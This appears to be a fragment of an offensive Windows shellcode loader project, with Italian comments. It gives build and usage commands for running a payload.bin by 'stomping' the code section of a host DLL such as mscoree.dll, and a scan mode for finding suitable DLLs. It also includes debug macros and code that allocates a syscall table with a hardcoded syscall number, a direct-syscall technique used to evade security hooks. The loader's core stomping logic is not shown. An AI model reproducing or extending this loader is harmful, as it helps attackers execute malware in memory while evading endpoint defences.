g++ -o loader.exe loader.cc -ladvapi32 -luser32 -lkernel32 -static

# Esegue un payload usando la DLL host predefinita
loader.exe --bin payload.bin

# Esegue un payload stompando una DLL specifica
loader.exe --bin payload.bin --dll mscoree.dll

# Scansiona tutte le DLL compatibili
loader.exe --scan

# Scansiona DLL con una sezione .text abbastanza grande per un payload specifico
loader.exe --scan --bin payload.bin

#if defined(DEBUG)
#define PDEBUG(format, ...)                                                    \
  {                                                                            \
    ntdll.DbgPrint(symbol<PCH>("%-48s " format), symbol<PCH>(({                \
                     char __buf[48];                                           \
                     memory::snprintf(__buf, sizeof(__buf), "[%s:%d]",         \
                                      __FUNCTION__, __LINE__);                 \
                     __buf;                                                    \
                   })),                                                        \
                   ##__VA_ARGS__);                                             \
  }
#define PDEBUG_CTX(ctx, format, ...)                                           \
  {                                                                            \
    if ((ctx) && (ctx)->ntdll.DbgPrint) {                                      \
      (ctx)->ntdll.DbgPrint(symbol<PCH>("%-48s " format), symbol<PCH>(({       \
                              char __buf[48];                                  \
                              memory::snprintf(__buf, sizeof(__buf), "[%s:%d]",\
                                               __FUNCTION__, __LINE__);        \
                              __buf;                                           \
                            })),                                               \
                            ##__VA_ARGS__);                                    \
    }                                                                          \
  }
#else
#define PDEBUG(format, ...)                                                    \
  {                                                                            \
    ;                                                                          \
  }
#define PDEBUG_CTX(ctx, format, ...)                                           \
  {                                                                            \
    ;                                                                          \
  }
#endif

PSYSCALL_TABLE pTable = NULL;
SIZE_T regionSize = sizeof(SYSCALL_TABLE);

ntdll.NtAllocateVirtualMemory(
    (HANDLE)-1,               
    (PVOID*)&pTable,         
    0,                      
    &regionSize,             
    MEM_COMMIT | MEM_RESERVE, 
    PAGE_READWRITE  
);

if (pTable) {
    pTable->NtTerminateProcess = 0x2c; // Esempio di numero syscall
    PDEBUG("HEXDUMP:%p:%zu", pTable, sizeof(SYSCALL_TABLE));
}